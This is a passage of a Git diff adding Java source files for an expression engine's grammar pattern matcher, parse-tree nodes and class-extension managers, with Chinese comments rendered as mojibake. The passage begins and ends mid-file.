this.matchLastIndex = index; + return this; + } + + @Override + public String toString() { + StringBuilder builder = new StringBuilder(); + for (QLMatchResultTree item : matches) { + item.printNode(builder, 1); + } + return builder.toString(); + } +} diff --git a/src/com/ql/util/express/match/QLMatchResultTree.java b/src/com/ql/util/express/match/QLMatchResultTree.java new file mode 100644 index 00000000..3ec6c693 --- /dev/null +++ b/src/com/ql/util/express/match/QLMatchResultTree.java @@ -0,0 +1,109 @@ +package com.ql.util.express.match; + +import java.util.ArrayList; +import java.util.List; + +public class QLMatchResultTree { + private final INodeType matchNodeType; + private final IDataNode ref; + + private INodeType targetNodeType; + private List left; + private List right; + + public QLMatchResultTree(INodeType iNodeType, IDataNode ref, INodeType targetNodeType) { + this(iNodeType, ref); + this.targetNodeType = targetNodeType; + } + + public QLMatchResultTree(INodeType nodeType, IDataNode ref) { + this.matchNodeType = nodeType; + this.ref = ref; + } + + public IDataNode getRef() { + return ref; + } + + public List getLeft() { + return this.left; + } + + public void addLeft(QLMatchResultTree node) { + if (this.left == null) { + this.left = new ArrayList<>(); + } + this.left.add(node); + } + + public void addLeftAll(List list) { + if (this.left == null) { + this.left = new ArrayList<>(); + } + this.left.addAll(list); + } + + public void addRightAll(List list) { + if (this.right == null) { + this.right = new ArrayList<>(); + } + this.right.addAll(list); + } + + public IDataNode transferExpressNodeType(IDataNode sourceNode, INodeType targetType) { + sourceNode.setNodeType(targetType); + if (targetType == targetType.getManager().findNodeType("CONST_STRING")) { + sourceNode.setObjectValue(sourceNode.getValue()); + sourceNode.setTreeType(targetType.getManager().findNodeType("CONST")); + } + return sourceNode; + } + + public void buildExpressNodeTree() { + if (this.targetNodeType != null) { + transferExpressNodeType(this.ref, this.targetNodeType); + } + if (this.left != null) { + for (QLMatchResultTree item : left) { + this.ref.addChild(item.ref); + item.buildExpressNodeTree(); + } + } + if (this.right != null) { + for (QLMatchResultTree item : right) { + this.ref.addChild(item.ref); + item.buildExpressNodeTree(); + } + } + } + + public void printNode(StringBuilder builder, int level) { + builder.append(level).append(":"); + for (int i = 0; i < level; i++) { + builder.append(" "); + } + builder.append(ref.getValue()).append(":").append(this.matchNodeType.getName()) + .append("\n"); + if (this.left != null) { + for (QLMatchResultTree item : this.left) { + item.printNode(builder, level + 1); + } + } + if (this.right != null) { + for (QLMatchResultTree item : this.right) { + item.printNode(builder, level + 1); + } + } + } + + public void setTargetNodeType(INodeType targetNodeType) { + this.targetNodeType = targetNodeType; + } + + @Override + public String toString() { + StringBuilder builder = new StringBuilder(); + printNode(builder, 1); + return builder.toString(); + } +} diff --git a/src/com/ql/util/express/match/QLPattern.java b/src/com/ql/util/express/match/QLPattern.java new file mode 100644 index 00000000..45406447 --- /dev/null +++ b/src/com/ql/util/express/match/QLPattern.java @@ -0,0 +1,363 @@ +package com.ql.util.express.match; + +import java.util.ArrayList; +import java.util.List; +import java.util.concurrent.atomic.AtomicLong; + +import com.ql.util.express.exception.QLCompileException; + +public class QLPattern { + + private QLPattern() { + throw new IllegalStateException("Utility class"); + } + + public static QLPatternNode createPattern(INodeTypeManager nodeTypeManager, String name, String pattern) + throws Exception { + return new QLPatternNode(nodeTypeManager, name, pattern); + } + + public static QLMatchResult findMatchStatement(INodeTypeManager iNodeTypeManager, QLPatternNode pattern, + List nodes, int point) throws Exception { + AtomicLong maxMatchPoint = new AtomicLong(); + AtomicLong maxDeep = new AtomicLong(1); + QLMatchResultCache resultCache = new QLMatchResultCache(5); + ArrayListCache arrayListCache = new ArrayListCache<>(50); + MatchParamsPack staticParams = new MatchParamsPack(iNodeTypeManager, nodes, maxDeep, maxMatchPoint, resultCache, + arrayListCache); + QLMatchResult result = findMatchStatementWithAddRootOptimizeStack(staticParams, pattern, point, 1); + if (result == null || result.getMatchSize() == 0) { + throw new QLCompileException("程åºé”™è¯¯ï¼Œä¸æ»¡è¶³è¯­æ³•è§„范,没有匹é…到åˆé€‚的语法,最大匹é…致[0:" + (maxMatchPoint.longValue() - 1) + "]"); + } else if (result.getMatchSize() != 1) { + throw new QLCompileException( + "程åºé”™è¯¯ï¼Œä¸æ»¡è¶³è¯­æ³•è§„范,必须有一个根节点:" + pattern + ",最大匹é…致[0:" + (maxMatchPoint.longValue() - 1) + "]"); + } + return result; + } + + private static QLMatchResult findMatchStatementWithAddRootOptimizeStack(MatchParamsPack staticParams, + QLPatternNode pattern, int point, int deep) throws Exception { + + INodeTypeManager iNodeTypeManager = staticParams.iNodeTypeManager; + List nodes = staticParams.nodes; + AtomicLong maxMatchPoint = staticParams.maxMatchPoint; + AtomicLong maxDeep = staticParams.maxDeep; + + //mark maxDeep + deep++; + if (deep > maxDeep.longValue()) { + maxDeep.set(deep); + } + + QLMatchResult result; + List tempList = null; + int count = 0; + int lastPoint = point; + while (true) { + QLMatchResult tempResult = null; + if (pattern.matchMode == MatchMode.DETAIL) { + //tempResult = matchDetailOneTime(iNodeTypeManager,pattern,nodes, lastPoint,maxMatchPoint,deep,maxDeep); + + int pointDetail = lastPoint; + QLMatchResult resultDetail = null; + if (pattern.nodeType == iNodeTypeManager.findNodeType("EOF") && pointDetail == nodes.size()) { + resultDetail = staticParams.resultCache.fetch().setMatchLastIndex(pointDetail + 1); + } else if (pattern.nodeType == iNodeTypeManager.findNodeType("EOF") && pointDetail < nodes.size() + && "}".equals(nodes.get(pointDetail).getValue())) { + resultDetail = staticParams.resultCache.fetch().setMatchLastIndex(pointDetail); + } else if (pointDetail == nodes.size() && pattern.nodeType.getPatternNode() != null) { + resultDetail = findMatchStatementWithAddRootOptimizeStack(staticParams, + pattern.nodeType.getPatternNode(), pointDetail, deep); + } else if (pointDetail < nodes.size()) { + INodeType tempNodeType = null; + if (pattern.nodeType.equals(nodes.get(pointDetail).getTreeType())) { + tempNodeType = nodes.get(pointDetail).getTreeType(); + } else if (pattern.nodeType.equals(nodes.get(pointDetail).getNodeType())) { + tempNodeType = nodes.get(pointDetail).getNodeType(); + } + + if (tempNodeType != null) { + resultDetail = staticParams.resultCache.fetch(); + resultDetail.addQLMatchResultTree( + new QLMatchResultTree(tempNodeType, nodes.get(pointDetail), pattern.targetNodeType)); + pointDetail = pointDetail + 1; + resultDetail.setMatchLastIndex(pointDetail); + } else if (pattern.nodeType.getPatternNode() != null) { + resultDetail = findMatchStatementWithAddRootOptimizeStack(staticParams, + pattern.nodeType.getPatternNode(), pointDetail, deep); + if (pattern.targetNodeType != null && resultDetail != null && resultDetail.getMatchSize() > 0) { + if (resultDetail.getMatchSize() > 1) { + throw new QLCompileException("设置了类型转æ¢çš„语法,åªèƒ½æœ‰ä¸€ä¸ªæ ¹èŠ‚点"); + } + resultDetail.getMatches().get(0).setTargetNodeType(pattern.targetNodeType); + } + } + + //å–è¿”å¤„ç† + if (pattern.blame) { + if (resultDetail == null) { + resultDetail = staticParams.resultCache.fetch(); + resultDetail.addQLMatchResultTree( + new QLMatchResultTree(tempNodeType, nodes.get(pointDetail), null)); + pointDetail = pointDetail + 1; + resultDetail.setMatchLastIndex(pointDetail); + } else { + resultDetail = null; + } + } + } + if (resultDetail != null && resultDetail.getMatchLastIndex() > maxMatchPoint.longValue()) { + maxMatchPoint.set(resultDetail.getMatchLastIndex()); + } + + tempResult = resultDetail; + + } else if (pattern.matchMode == MatchMode.AND) { + //tempResult = matchAndOneTime(iNodeTypeManager,pattern,nodes, lastPoint,maxMatchPoint,deep,maxDeep); + + int pointAnd = lastPoint; + + QLMatchResultTree root = null; + //用于调试日志的输出 + int matchCount = 0; + List tempListAnd = null; + boolean isBreak = false; + for (QLPatternNode item : pattern.getChildren()) { + if (pointAnd > nodes.size()) { + isBreak = true; + break; + } + QLMatchResult tempResultAnd = findMatchStatementWithAddRootOptimizeStack(staticParams, item, + pointAnd, deep); + if (tempResultAnd != null) { + if (tempResultAnd.getMatchSize() > 0) { + matchCount = matchCount + 1; + } + if (tempListAnd == null) { + tempListAnd = staticParams.arrayListCache.fetch(); + } + pointAnd = tempResultAnd.getMatchLastIndex(); + if (item.isTreeRoot && tempResultAnd.getMatchSize() > 0) { + if (tempResultAnd.getMatchSize() > 1) { + throw new QLCompileException("根节点的数é‡å¿…须是1"); + } + if (root == null) { + QLMatchResultTree tempTree = tempResultAnd.getMatches().get(0); + while (tempTree.getLeft() != null && !tempTree.getLeft().isEmpty()) { + tempTree = tempTree.getLeft().get(0); + } + tempTree.addLeftAll(tempListAnd); + tempListAnd.clear(); + } else { + tempResultAnd.getMatches().get(0).addLeft(root); + } + root = tempResultAnd.getMatches().get(0); + } else if (root != null) { + root.addRightAll(tempResultAnd.getMatches()); + } else { + tempListAnd.addAll(tempResultAnd.getMatches()); + } + //归还QLMatchResult对象到对象池 + if (tempResultAnd != null) { + staticParams.resultCache.sendBack(tempResultAnd); + } + } else { + isBreak = true; + break; + } + } + if (root != null) { + tempListAnd.add(root); + } + + if (!isBreak) { + tempResult = staticParams.resultCache.fetch().addQLMatchResultTreeList(tempListAnd); + tempResult.setMatchLastIndex(pointAnd); + } else { + tempResult = null; + } + + if (tempListAnd != null) { + staticParams.arrayListCache.sendBack(tempListAnd); + } + } else if (pattern.matchMode == MatchMode.OR) { + //tempResult = matchOrOneTime(iNodeTypeManager,pattern,nodes, lastPoint,maxMatchPoint,deep,maxDeep); + + for (QLPatternNode item : pattern.getChildren()) { + tempResult = findMatchStatementWithAddRootOptimizeStack(staticParams, item, lastPoint, deep); + if (tempResult != null) { + break; + } + } + } else { + throw new QLCompileException("ä¸æ­£ç¡®çš„类型:" + pattern.matchMode.toString()); + } + + if (tempResult == null) { + if (count >= pattern.minMatchNum && count <= pattern.maxMatchNum) { + //æ­£ç¡®åŒ¹é… + result = staticParams.resultCache.fetch(); + if (tempList != null) { + result.addQLMatchResultTreeList(tempList); + } + result.setMatchLastIndex(lastPoint); + } else { + result = null; + } + break; + } else { + if (tempList == null) { + tempList = staticParams.arrayListCache.fetch(); + } + lastPoint = tempResult.getMatchLastIndex(); + if (pattern.isTreeRoot) { + if (tempResult.getMatchSize() > 1) { + throw new QLCompileException("根节点的数é‡å¿…须是1"); + } + if (tempList.isEmpty()) { + tempList.addAll(tempResult.getMatches()); + } else { + tempResult.getMatches().get(0).addLeftAll(tempList); + //为了能回收QLMatchResult对象,è¿™ä¸ªåœ°æ–¹å¿…é¡»è¿›è¡Œæ•°ç»„æ‹·è´ + tempList = staticParams.arrayListCache.fetch(); + tempList.addAll(tempResult.getMatches()); + } + } else { + tempList.addAll(tempResult.getMatches()); + } + } + + // 归还QLMatchResult + if (tempResult != null) { + staticParams.resultCache.sendBack(tempResult); + } + + count = count + 1; + if (count == pattern.maxMatchNum) { + result = staticParams.resultCache.fetch(); + if (tempList != null) { + result.addQLMatchResultTreeList(tempList); + } + result.setMatchLastIndex(lastPoint); + break; + } + } + if (result != null && pattern.isSkip) { + //忽略跳过所有匹é…到的节点 + result.getMatches().clear(); + } + + if (result != null && result.getMatchSize() > 0 && pattern.rootNodeType != null) { + QLMatchResultTree tempTree = new QLMatchResultTree(pattern.rootNodeType, + nodes.get(0).createExpressNode(pattern.rootNodeType, null)); + tempTree.addLeftAll(result.getMatches()); + result.getMatches().clear(); + result.getMatches().add(tempTree); + } + if (tempList != null) { + staticParams.arrayListCache.sendBack(tempList); + } + return result; + } + + public static class MatchParamsPack { + final INodeTypeManager iNodeTypeManager; + final List nodes; + final AtomicLong maxDeep; + final AtomicLong maxMatchPoint; + final QLMatchResultCache resultCache; + final ArrayListCache arrayListCache; + + public MatchParamsPack(INodeTypeManager iNodeTypeManager, List nodes, AtomicLong maxDeep, + AtomicLong maxMatchPoint, QLMatchResultCache qlMatchResultCache, ArrayListCache arrayListCache) { + this.iNodeTypeManager = iNodeTypeManager; + this.nodes = nodes; + this.maxDeep = maxDeep; + this.maxMatchPoint = maxMatchPoint; + this.resultCache = qlMatchResultCache; + this.arrayListCache = arrayListCache; + } + } + + public static class QLMatchResultCache { + public int newCount = 0; + public int fetchCount = 0; + + private final QLMatchResult[] cache; + private final int length; + private int point; + + public QLMatchResultCache(int length) { + this.length = length; + this.point = this.length - 1; + cache = new QLMatchResult[this.length]; + for (int i = 0; i < this.length; i++) { + cache[i] = new QLMatchResult(); + } + } + + public QLMatchResult fetch() { + QLMatchResult result; + if (point >= 0) { + result = cache[point]; + cache[point] = null; + point = point - 1; + fetchCount++; + } else { + result = new QLMatchResult(); + newCount++; + } + return result; + } + + public void sendBack(QLMatchResult result) { + if (this.point < this.length - 1) { + this.point = this.point + 1; + cache[this.point] = result; + cache[this.point].clear(); + } + } + } + + public static class ArrayListCache { + public int newCount = 0; + public int fetchCount = 0; + + private final List[] cache; + private final int len; + private int point; + + public ArrayListCache(int length) { + this.len = length; + this.point = this.len - 1; + cache = new List[this.len]; + for (int i = 0; i < this.len; i++) { + cache[i] = new ArrayList<>(); + } + } + + public List fetch() { + List result; + if (point >= 0) { + result = cache[point]; + cache[point] = null; + point = point - 1; + fetchCount++; + } else { + result = new ArrayList<>(); + newCount++; + } + return result; + } + + public void sendBack(List result) { + if (this.point < this.len - 1) { + this.point = this.point + 1; + cache[this.point] = result; + cache[this.point].clear(); + } + } + } +} + + diff --git a/src/com/ql/util/express/match/QLPatternNode.java b/src/com/ql/util/express/match/QLPatternNode.java new file mode 100644 index 00000000..f1c68988 --- /dev/null +++ b/src/com/ql/util/express/match/QLPatternNode.java @@ -0,0 +1,304 @@ +package com.ql.util.express.match; + +import java.util.ArrayList; +import java.util.List; + +import com.ql.util.express.exception.QLCompileException; + +enum MatchMode { + AND, + OR, + DETAIL, + NULL +} + +public class QLPatternNode { + + private final INodeTypeManager nodeTypeManager; + + final String name; + + /** + * 原始的字符串 + */ + private final String originalContent; + + /** + * 匹é…æ¨¡å¼ + */ + MatchMode matchMode = MatchMode.NULL; + + /** + * 是å¦ä¸€ä¸ªå­åŒ¹é…æ¨¡å¼ + */ + private boolean isChildMode; + + /** + * 层次 + */ + private final int level; + + /** + * 是å¦æ ¹èŠ‚点,例如:if^ + */ + protected boolean isTreeRoot = false; + + /** + * 最å°åŒ¹é…次数,0..n + */ + protected int minMatchNum = 1; + + /** + * 最大匹é…次数 + */ + protected int maxMatchNum = 1; + + /** + * 匹é…类型,例如 ID,if,SELECT + */ + protected INodeType nodeType; + + /** + * 匹é…到的节点需è¦è½¬æ¢æˆçš„类型,例如 ID -》CONST_STRING + */ + protected INodeType targetNodeType; + + /** + * 需è¦è½¬ä¸ºçš„虚拟类型,例如:(ID$(,$ID)*)#COL_LIST + */ + protected INodeType rootNodeType; + + /** + * 是å¦åŒ¹é…æˆåŠŸï¼Œä½†åœ¨è¾“出的时候忽略,用"~"表示 + * CONST$(,~$CONST)* + */ + protected boolean isSkip = false; + + /** + * å–å,例如:+@,匹é…ä¸æ˜¯+的所有字符 + */ + protected boolean blame = false; + + /** + * å­åŒ¹é…æ¨¡å¼ + */ + private final List children = new ArrayList<>(); + + public boolean canMergeDetail() { + return this.matchMode == MatchMode.DETAIL && "ANONY_PATTERN".equals(this.name) + && this.nodeType.getPatternNode() != null + && !this.isSkip + && !this.blame + && !this.isChildMode + && !this.isTreeRoot + && this.minMatchNum == 1 + && this.maxMatchNum == 1; + } + + protected QLPatternNode(INodeTypeManager iNodeTypeManager, String name, String originalContent) throws Exception { + this(iNodeTypeManager, name, originalContent, false, 1); + //if (this.toString().equals(originalContent) == false) { + // throw new QLCompileException("语法定义解æžåŽçš„结果与原始值ä¸ä¸€è‡´ï¼ŒåŽŸå§‹å€¼:" + originalContent + " 解æžç»“æžœ:" + this.toString()); + // log.error(("语法定义解æžåŽçš„结果与原始值ä¸ä¸€è‡´ï¼ŒåŽŸå§‹å€¼:" + originalContent + " 解æžç»“æžœ:" + this.toString())); + //} + } + + protected QLPatternNode(INodeTypeManager iNodeTypeManager, String name, String originalContent, boolean isChildMode, + int level) throws Exception { + this.nodeTypeManager = iNodeTypeManager; + this.name = name; + this.originalContent = originalContent; + this.isChildMode = isChildMode; + this.level = level; + this.splitChild(); + for (int i = 0; i < children.size(); i++) { + QLPatternNode t = children.get(i); + if (t.canMergeDetail()) { + this.children.set(i, t.getNodeType().getPatternNode()); + if (t.getNodeType().getPatternNode().getNodeType() == null) { + t.getNodeType().getPatternNode().nodeType = t.getNodeType(); + } + } + } + } + + public void splitChild() throws Exception { + String originalStr = this.originalContent; + if ("(".equals(originalStr) || ")".equals(originalStr) || "|".equals(originalStr) || "||".equals(originalStr) + || "/**".equals(originalStr) || "**/".equals(originalStr) || "*".equals(originalStr) + || "->".equals(originalStr)) { + this.matchMode = MatchMode.DETAIL; + this.nodeType = this.nodeTypeManager.findNodeType(originalStr); + return; + } + + StringBuilder tempStr = new StringBuilder(); + int count = 0; + for (int i = 0; i < originalStr.length(); i++) { + if (originalStr.charAt(i) == '(') { + tempStr.append(originalStr.charAt(i)); + count = count + 1; + } else if (originalStr.charAt(i) == ')') { + tempStr.append(originalStr.charAt(i)); + count = count - 1; + } else if (count > 0) { + tempStr.append(originalStr.charAt(i)); + } else if (originalStr.charAt(i) == '$') { + if (this.matchMode != MatchMode.NULL + && this.matchMode != MatchMode.AND) { + throw new QLCompileException("ä¸æ­£ç¡®çš„模å¼ä¸²,在一个匹é…模å¼ä¸­ä¸èƒ½|,$并存,请使用字串模å¼:" + originalStr); + } + children.add(new QLPatternNode(this.nodeTypeManager, "ANONY_PATTERN", + tempStr.toString(), false, this.level + 1)); + this.matchMode = MatchMode.AND; + tempStr = new StringBuilder(); + } else if (originalStr.charAt(i) == '|') { + if (this.matchMode != MatchMode.NULL && this.matchMode != MatchMode.OR) { + throw new QLCompileException("ä¸æ­£ç¡®çš„模å¼ä¸²,在一个匹é…模å¼ä¸­ä¸èƒ½|,$并存,请使用字串模å¼:" + originalStr); + } + children.add(new QLPatternNode(this.nodeTypeManager, "ANONY_PATTERN", + tempStr.toString(), false, this.level + 1)); + this.matchMode = MatchMode.OR; + tempStr = new StringBuilder(); + } else if (originalStr.charAt(i) == '#') { + this.rootNodeType = this.nodeTypeManager.findNodeType(originalStr.substring(i + 1)); + break; + } else { + tempStr.append(originalStr.charAt(i)); + } + } + // 处ç†æ²¡æœ‰()的内容 + if (count > 0) { + throw new QLCompileException("ä¸æ­£ç¡®çš„模å¼ä¸²,(没有找到对应的):" + originalStr); + } + + if (!this.children.isEmpty()) { + children.add( + new QLPatternNode(this.nodeTypeManager, "ANONY_PATTERN", tempStr.toString(), false, this.level + 1)); + tempStr = new StringBuilder(); + } + + //需è¦å‰”除乘法*的情况 + if (tempStr.toString().endsWith("*") && tempStr.length() > 1) { + this.minMatchNum = 0; + this.maxMatchNum = Integer.MAX_VALUE; + tempStr = new StringBuilder(tempStr.substring(0, tempStr.length() - 1)); + } + + if (tempStr.toString().endsWith("}")) { + int index = tempStr.lastIndexOf("{"); + if (index > 0) { + String numStr = tempStr.substring(index + 1, tempStr.length() - 1); + int index2 = numStr.indexOf(':'); + if (index2 > 0) { + this.minMatchNum = Integer.parseInt(numStr.substring(0, index2)); + this.maxMatchNum = Integer.parseInt(numStr.substring(index2 + 1)); + } else { + this.minMatchNum = Integer.parseInt(numStr); + this.maxMatchNum = Integer.parseInt(numStr); + } + tempStr = new StringBuilder(tempStr.substring(0, index)); + } + } + if (tempStr.toString().endsWith("^") && tempStr.length() > 1) { + this.isTreeRoot = true; + tempStr = new StringBuilder(tempStr.substring(0, tempStr.length() - 1)); + } + + if (tempStr.toString().endsWith("~") && tempStr.length() > 1) { + this.isSkip = true; + tempStr = new StringBuilder(tempStr.substring(0, tempStr.length() - 1)); + } + if (tempStr.toString().endsWith("@") && tempStr.length() > 1) { + this.blame = true; + tempStr = new StringBuilder(tempStr.substring(0, tempStr.length() - 1)); + } + + //处ç†(ABC|bcd)æ¨¡å¼ + if (tempStr.length() > 2 && tempStr.charAt(0) == '(' && tempStr.charAt(tempStr.length() - 1) == ')') { + this.isChildMode = true; + this.children.add( + new QLPatternNode(this.nodeTypeManager, "ANONY_PATTERN", tempStr.substring(1, tempStr.length() - 1), + false, this.level + 1)); + this.matchMode = MatchMode.AND; + tempStr = new StringBuilder(); + + } + + int index = tempStr.indexOf("->"); + if (index > 0) { + this.targetNodeType = this.nodeTypeManager.findNodeType(tempStr.substring(index + 2)); + tempStr = new StringBuilder(tempStr.substring(0, index)); + } + if (tempStr.length() > 0) { + this.matchMode = MatchMode.DETAIL; + this.nodeType = this.nodeTypeManager.findNodeType(tempStr.toString()); + } + } + + public List getChildren() { + return this.children; + } + + public INodeType getNodeType() { + return this.nodeType; + } + + public boolean isDetailMode() { + return this.matchMode == MatchMode.DETAIL; + } + + public boolean isAndMode() { + return this.matchMode == MatchMode.AND; + } + + @Override + public String toString() { + String result; + if (this.matchMode == MatchMode.AND) { + result = this.joinStringList(this.children, "$"); + } else if (this.matchMode == MatchMode.OR) { + result = this.joinStringList(this.children, "|"); + } else { + result = this.nodeType.getName(); + } + if (this.targetNodeType != null) { + result = result + "->" + this.targetNodeType.getName(); + } + if (this.isChildMode) { + result = "(" + result + ")"; + } + if (this.isSkip) { + result = result + '~'; + } + if (this.blame) { + result = result + '@'; + } + if (this.isTreeRoot) { + result = result + '^'; + } + if (this.minMatchNum == 0 && this.maxMatchNum == Integer.MAX_VALUE) { + result = result + '*'; + } else if (this.minMatchNum == this.maxMatchNum && this.maxMatchNum > 1) { + result = result + "{" + this.maxMatchNum + "}"; + } else if (this.minMatchNum != this.maxMatchNum) { + result = result + "{" + this.minMatchNum + ":" + this.maxMatchNum + "}"; + } + + if (this.rootNodeType != null) { + result = result + '#' + this.rootNodeType.getName(); + } + return result; + } + + public String joinStringList(List list, String splitChar) { + StringBuilder buffer = new StringBuilder(); + for (int i = 0; i < list.size(); i++) { + if (i > 0) { + buffer.append(splitChar); + } + buffer.append(list.get(i)); + } + return buffer.toString(); + } +} diff --git a/src/com/ql/util/express/parse/AppendingClassFieldManager.java b/src/com/ql/util/express/parse/AppendingClassFieldManager.java new file mode 100644 index 00000000..5860e616 --- /dev/null +++ b/src/com/ql/util/express/parse/AppendingClassFieldManager.java @@ -0,0 +1,54 @@ +package com.ql.util.express.parse; + +import java.util.ArrayList; +import java.util.List; + +import com.ql.util.express.Operator; + +/** + * Created by tianqiao on 16/10/16. + */ +public class AppendingClassFieldManager { + private final List appendingFields = new ArrayList<>(); + + public void addAppendingField(String name, Class bindingClass, Class returnType, Operator operator) { + appendingFields.add(new AppendingField(name, bindingClass, returnType, operator)); + } + + public AppendingField getAppendingClassField(Object object, String fieldName) { + for (AppendingField appendingField : appendingFields) { + //object是定义类型的å­ç±» + if (fieldName.equals(appendingField.name) && (object.getClass() == appendingField.bindingClass + || appendingField.bindingClass.isAssignableFrom(object.getClass()))) { + return appendingField; + } + } + return null; + } + + public Object invoke(AppendingField appendingField, Object fieldObject) throws Exception { + Operator operator = appendingField.operator; + return operator.executeInner(new Object[] {fieldObject}); + } + + public static class AppendingField { + private final String name; + + private final Class bindingClass; + + private final Operator operator; + + private final Class returnType; + + public AppendingField(String name, Class bindingClass, Class returnType, Operator operator) { + this.name = name; + this.bindingClass = bindingClass; + this.operator = operator; + this.returnType = returnType; + } + + public Class getReturnType() { + return returnType; + } + } +} diff --git a/src/com/ql/util/express/parse/AppendingClassMethodManager.java b/src/com/ql/util/express/parse/AppendingClassMethodManager.java new file mode 100644 index 00000000..d397ad58 --- /dev/null +++ b/src/com/ql/util/express/parse/AppendingClassMethodManager.java @@ -0,0 +1,51 @@ +package com.ql.util.express.parse; + +import java.util.ArrayList; +import java.util.List; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.instruction.op.OperatorBase; + +/** + * Created by tianqiao on 16/10/16. + */ +public class AppendingClassMethodManager { + private final List methods = new ArrayList<>(); + + public void addAppendingMethod(String name, Class bindingClass, OperatorBase op) { + methods.add(new AppendingMethod(name, bindingClass, op)); + } + + public AppendingMethod getAppendingClassMethod(Object object, String methodName) { + for (AppendingMethod method : methods) { + //object是定义类型的å­ç±» + if (methodName.equals(method.name) && (object.getClass() == method.bindingClass + || method.bindingClass.isAssignableFrom(object.getClass()))) { + return method; + } + } + return null; + } + + public OperateData invoke(AppendingMethod method, InstructionSetContext context, ArraySwap list, + List errorList) throws Exception { + OperatorBase op = method.operatorBase; + return op.execute(context, list, errorList); + } + + public static class AppendingMethod { + public final String name; + + public final Class bindingClass; + + public final OperatorBase operatorBase; + + public AppendingMethod(String name, Class bindingClass, OperatorBase op) { + this.name = name; + this.bindingClass = bindingClass; + this.operatorBase = op; + } + } +} diff --git a/src/com/ql/util/express/parse/ExpressNode.java b/src/com/ql/util/express/parse/ExpressNode.java new file mode 100644 index 00000000..875a5876 --- /dev/null +++ b/src/com/ql/util/express/parse/ExpressNode.java @@ -0,0 +1,210 @@ +package com.ql.util.express.parse; + +import java.util.ArrayList; +import java.util.List; + +import com.ql.util.express.exception.QLCompileException; +import com.ql.util.express.match.IDataNode; +import com.ql.util.express.match.INodeType; + +public class ExpressNode implements IDataNode { + /** + * 节点类型 + */ + private NodeType nodeType; + + private NodeType treeType; + + /** + * 节点值 + */ + private String value; + + /** + * 节点原始值 + */ + private String originalValue; + + private Object objectValue; + + /** + * 父节点 + */ + private ExpressNode parent; + private List children = new ArrayList<>(); + + /** + * è¡Œå· + */ + private int line; + + /** + * åˆ—å· + */ + private int col; + + public ExpressNode(NodeType nodeType, String value) throws Exception { + this(nodeType, value, null, null, null, -1, -1); + } + + public ExpressNode(NodeType nodeType, String value, String originalValue, Object objectValue, NodeType treeType, + int line, int col) throws Exception { + if (nodeType == null) { + throw new QLCompileException(value + " 没有找到对应的节点类型"); + } + this.nodeType = nodeType; + this.treeType = treeType; + if (value != null && value.length() > 0) { + this.value = value; + } + if (originalValue != null && originalValue.length() > 0) { + this.originalValue = originalValue; + } + if (objectValue != null) { + this.objectValue = objectValue; + } + this.line = line; + this.col = col; + } + + public boolean isTypeEqualsOrChild(String parent) { + boolean result = this.getTreeType().isEqualsOrChild(parent); + if (!result && this.treeType != null) { + result = this.getNodeType().isEqualsOrChild(parent); + } + return result; + } + + @Override + public NodeType getNodeType() { + return nodeType; + } + + public void setNodeType(NodeType nodeType) { + this.nodeType = nodeType; + } + + @Override + public String getValue() { + if (value == null) { + return this.nodeType.getName(); + } else { + return value; + } + } + + public void setValue(String value) { + this.value = value; + } + + public String getInstructionFactory() { + if (this.nodeType.getInstructionFactory() != null) { + return this.nodeType.getInstructionFactory(); + } + if (this.treeType != null && this.treeType.getInstructionFactory() != null) { + return this.treeType.getInstructionFactory(); + } + throw new RuntimeException("没有定义节点的指令InstructionFactoryä¿¡æ¯ï¼š" + this.nodeType.getName() + + (this.treeType == null ? "" : " 或者 " + this.treeType.getName())); + } + + public String getOriginalValue() { + return originalValue; + } + + public void setOriginalValue(String originalValue) { + this.originalValue = originalValue; + } + + public Object getObjectValue() { + return objectValue; + } + + @Override + public void setObjectValue(Object objectValue) { + this.objectValue = objectValue; + } + + public ExpressNode getParent() { + return parent; + } + + public void setParent(ExpressNode parent) { + this.parent = parent; + } + + public int getLine() { + return line; + } + + public void setLine(int line) { + this.line = line; + } + + public int getCol() { + return col; + } + + public void setCol(int col) { + this.col = col; + } + + public NodeType getRealTreeType() { + return this.treeType; + } + + @Override + public NodeType getTreeType() { + if (this.treeType == null) { + return this.nodeType; + } else { + return treeType; + } + } + + public void setTreeType(NodeType treeType) { + this.treeType = treeType; + } + + public List getChildrenList() { + return children; + } + + public void addChild(ExpressNode child) { + if (child == null) { + return; + } + this.children.add(child); + } + + public ExpressNode[] getChildrenArray() { + return this.children.toArray(new ExpressNode[0]); + } + + @Override + public String toString() { + // return str + "[" + this.line +"," + this.col +"]"; + return (this.originalValue == null ? this.getValue() : this.originalValue) + (this.nodeType.getName() == null + ? "" : (":" + this.nodeType.getName())); + } + + @Override + public IDataNode createExpressNode(INodeType iNodeType, String value) throws Exception { + return new ExpressNode((NodeType)iNodeType, value); + } + + @Override + public void setNodeType(INodeType iNodeType) { + this.setNodeType((NodeType)iNodeType); + } + + @Override + public void addChild(IDataNode ref) { + this.addChild((ExpressNode)ref); + } + + @Override + public void setTreeType(INodeType iNodeType) { + this.setTreeType((NodeType)iNodeType); + } +} diff --git a/src/com/ql/util/express/parse/ExpressPackage.java b/src/com/ql/util/express/parse/ExpressPackage.java new file mode 100644 index 00000000..0097c897 --- /dev/null +++ b/src/com/ql/util/express/parse/ExpressPackage.java @@ -0,0 +1,120 @@ +package com.ql.util.express.parse; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +import com.ql.util.express.ExpressUtil; + +public class ExpressPackage { + private List packages; + private Map> name2CallCache = null; + private static final Class S_NULL = NullClass.class; + private final ExpressPackage parent; + + public ExpressPackage(ExpressPackage parent) { + this.parent = parent; + } + + public void addPackage(String packageName) { + if (this.packages == null) { + this.packages = new ArrayList<>(); + } + int point = packageName.indexOf(".*"); + if (point >= 0) { + packageName = packageName.substring(0, point); + } + this.packages.add(packageName); + } + + public Class getClass(String name) { + Class tempClass = null; + if (this.parent != null) { + tempClass = this.parent.getClass(name); + } + if (tempClass == null) { + if (this.packages == null && this.parent != null) { + return null; + } + if (this.name2CallCache == null) { + this.name2CallCache = new ConcurrentHashMap<>(); + } else { + tempClass = this.name2CallCache.get(name); + } + if (tempClass == null) { + tempClass = this.getClassInner(name, this.parent == null); + if (tempClass == null) { + tempClass = S_NULL; + } + } + this.name2CallCache.put(name, tempClass); + } + + if (tempClass == S_NULL) { + return null; + } else { + return tempClass; + } + } + + private Class getClassInner(String name, boolean isRootCall) { + Class result = null; + if (isRootCall) { + // 如果本身具有包åï¼Œè¿™ç›´æŽ¥å®šä½ + if (name.contains(".")) 